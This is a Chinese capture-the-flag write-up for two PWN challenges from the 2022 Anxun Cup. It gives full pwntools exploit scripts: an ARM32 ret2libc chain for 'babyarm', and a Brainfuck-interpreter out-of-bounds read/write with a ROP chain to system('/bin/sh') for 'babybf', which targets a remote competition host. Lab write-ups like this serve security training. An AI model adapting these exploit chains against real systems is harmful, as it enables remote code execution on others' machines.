---
# System prepended metadata

title: 2022安洵杯 CTF PWN wp

---

# 2022安洵杯 CTF PWN wp

##前言：上午在打别的比赛，题不难，下午三点才上的号，导致我们差一名进决赛，太可惜了（都怪我  呜呜呜，下次认真。

##babyarm：
思路：栈溢出，异构PWN，arm，retlibc2，一次retlibc泄露got表计算出libc基地址，第二次打system即可，找到gadget传参即可，由于题目是arm32位，前4个参数是用r0~r3寄存器传参，所以我们第一步泄露libc的话，需要找到pop r0，然后再找一个有blx的寄存器进行跳转即可，参考kot师傅的寄存器，采用了以下
pop{r4,r5,r6,r7,r8,sb,sl,pc}   pop{r3,pc}  mov r0,r7;blx r3
exp:
```python
from pwn import *

p=process(['qemu-arm','-g','1234','-L','/usr/arm-linux-gnueabi','./chall'])


libc=ELF("./libc-2.27.so")
elf=ELF("./chall")

puts_got=elf.got['puts']
puts_plt=0x0104AC
mainaddr=0x10C4C
#ropper --files libc.2.27.so search "pop|mov"
#pop {r4, r5, r6, r7, r8, sb, sl, pc}
# pop {r3, pc}
#mov r0, r7; blx r3
popr1=0x00010cb0   
popr3=0x00010464
movr0=0x00010ca0
p.sendlineafter("msg>","s1mpl3Dec0d4r")
#leak libc_bse
rop1='a'*0x2c+p32(popr1)+p32(0)+p32(0)+p32(0)+p32(puts_got)+p32(0)+p32(0)+p32(0)
rop1+=p32(puts_plt)+p32(movr0)+p32(mainaddr)*10
p.sendlineafter("comment>",rop1)
data = p.recvline()
libc_base = u32(data[1:5]) - libc.sym["puts"]
system = libc_base + libc.sym["system"]
binsh=libc_base+next(libc.search(b'/bin/sh\x00'))
print hex(data)
print hex(libc_base)
print hex(system)
print hex(binsh)
#attack ret addr----->system('/bin/sh')
rop2=p32(popr1)+p32(0)+p32(0)+p32(0)+p32(binsh)+p32(0)+p32(0)+p32(0)+p32(popr2)
rop2+=p32(system)+p32(movr0)
p.sendlineafter("msg>","a"*0x2c+rop2)
p.interactive()
```
##babybf:
此题是继qwnt做出的第二个Brainfuck解释器PWN题，它有一套自己的符号，类似于vm，也算一个vm题，通过移动指针来进行越界写和越界读，这题就是通过移动指针来越界读和越界写，来列举下breainfuckf

    | Brainfuck | C                                                            |
    | --------- | ------------------------------------------------------------ |
    | >         | ++ptr;                                                       |
    | <         | --ptr;                                                       |
    | +         | ++*ptr;                                                      |
    | -         | --*ptr;                                                      |
    | .         | putchar(*ptr); |
    | ,         | *ptr =getch();                                               |
    | [         | while (*ptr) {                                               |
    | ]         | }                                                            |

通过>移动87位置泄露libc，再次通过>移动56次来劫持返回地址rop即可
exp：
```python
from pwn import *
p=process("./chall")
p=remote('47.108.29.107',10472)
#libc=ELF("/home/roo/Desktop/tools/glibc-all-in-one-master/libs/2.27-3ubuntu1_amd64/libc.so.6")
libc=ELF("libc-2.27.so")
def sendcode(length,code):
    p.sendafter("len> ",str(length))
    p.sendafter("code> ",code)
#pay=">"
pay=">"*87
pay+=">."*9
#gdb.attach(p)
sleep(1)
sendcode(len(pay),pay)
libcbase = u64(p.recvuntil(b'\x7f')[-6:].ljust(0x8, b'\x00'))-0x21b97-0xf0
print hex(libcbase)
'''
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL


'''
rce1=libcbase+0x10a2fc
rce2=libcbase+0x4f322
rce3=libcbase+0x10a38c
poprdi=libcbase+0x000000000002164f
poprsi=libcbase+0x0000000000023a6a
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh\x00'))
print type(rce1)
print hex(rce1)
# rce_1=rce1&0xff
# rce1=rce1>>8
# rce_2=rce1&0xff
# rce1=rce1>>8
# rce_3=rce1&0xff
# rce1=rce1>>8
# rce_4=rce1&0xff
# rce1=rce1>>8
# rce_5=rce1&0xff
# rce1=rce1>>8
# rce_6=rce1&0xff
# rce1=rce1>>8
# rce_7=rce1&0xff
pay2="-"*40
#pay2+=","
#gdb.attach(p)
sendcode(len(pay2),pay2)
pay3=">"*56
pay3+=",>"*8
pay3+=",>"*8
pay3+=",>"*8
pay3+=",>"*8
sendcode(len(pay3),pay3)
rop=p64(libcbase+0x000000000002155f)+p64(binsh)+p64(system)
p.send(p64(libcbase+0x00000000000008aa))
p.send(p64(libcbase+0x000000000002164f))
p.send(p64(binsh))
p.send(p64(system))

p.interactive()
```